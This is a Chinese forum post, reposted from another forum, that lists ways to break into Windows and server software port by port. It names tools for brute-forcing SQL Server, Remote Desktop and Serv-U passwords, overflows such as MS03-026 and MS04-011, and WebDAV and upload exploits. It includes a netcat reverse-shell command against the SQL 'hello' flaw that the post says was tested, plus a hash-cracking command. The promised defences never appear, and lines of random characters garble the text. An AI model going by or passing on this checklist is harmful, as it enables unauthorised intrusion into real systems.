入侵方法以及工具防范

受宠若惊

工欲善其事，必先利其器，本文简单介绍目前黑客最常使用的一些入侵工具及防御的方法，希望能对大家有所帮助，以助于大家能更好地防御黑客的攻击。
* p# k9 i& d9 W　　

　　1. 1433端口入侵

3 T' g6 f4 @/ \! Q7 I　　scanport.exe 查有1433的机器
8 ?# k- `) u+ \+ `
　　SQLScanPass.exe 进行字典暴破（字典是关键）

. c" r6 d/ ?% U) G4 o　　最后 SQLTools.exe入侵
% w$ z: d! J: l9 F7 p. S2 h
: s2 T1 K/ @! f　　=============================

4 W$ |1 E" H( K7 x0 T　　对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。

　　nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口

% _: O* {$ o; @) {　　（以上反向的，测试成功）
# o: W1 ]* u1 H, x; |
( x6 q" \  J5 g$ e4 R9 p1 t　　sqlhelloz.exe 入侵ip 1433 （这个是正向连接）
　　
　　2. 4899端口入侵
6 x& g7 ~! W$ v  c
　　用4899过滤器.exe，扫描空口令的机器 　　
8 q$ ^# ?- }% g$ I' A; {# w
- @+ r3 ^1 G) E6 A' L　　3. 3899的入侵
# _# z9 _7 a. p/ o7 y+ Z
　　对很早的机器，可以试试3389的溢出(win3389ex.exe)

　　对2000的机器，可以试试字典暴破。(tscrack.exe)
　　
9 F, |+ a0 p4 v/ T( e6 ?, Q　　4. 80入侵

/ b$ L$ A: Q4 G% t! C! e　　对sp3以前的机器，可以用webdav入侵；
# O8 G" c$ ]. V9 A. }2 ^7 k
1 w7 B. p/ B; Q6 B　　对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）

6 Y3 u, @8 T: `7 Z9 R" p1 Z4 I- f　　可以利用SQL进行注入。（小榕的注入软件）。
5 {) ]- f/ d5 w+ L5 a
　　5. serv-u入侵(21端口）

8 |# P/ M/ v8 e) h8 o6 x　　对5. 004及以下系统，可用溢出入侵。（serv5004.exe）

% G( r& l" A3 _" ~0 ?　　对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
- b, X, c) I  l4 S1 I: i; D
　　======================================
% o. W& }! a" f; L2 Y& }4 i) ^
6 l  ~# {' B1 `: e6 }; ]　　对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs）
9 r+ {+ j9 L9 T
　　输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码。如：cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A
6 P' n. N) A) e+ I5 ^. v3 Z& r　　
9 x; v" \. P2 O: ?　　6. 554端口
, X- @9 U1 P+ N0 z( R
　　用real554.exe入侵。
$ z' ]% c! ~* f$ w- y9 m　　
　　7. 6129端口

　　用DameWare6129.exe入侵。

　　8. 系统漏洞

5 U! t' v7 L# }% e- l　　利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，

6 P- U: o$ V% G! |- E8 F5 s　　进行溢出入侵。

　　9. 3127等端口

　　可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。

　　10. 其他入侵
; s2 c) I7 d# m6 z0 z) ^- V
; M0 d/ l% n- o1 @　　利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。
" _, H! r  H+ r6 o, }0 Z

转自杜松论坛：http://www.juniperbbs.net/index.php

玩得就是心跳

强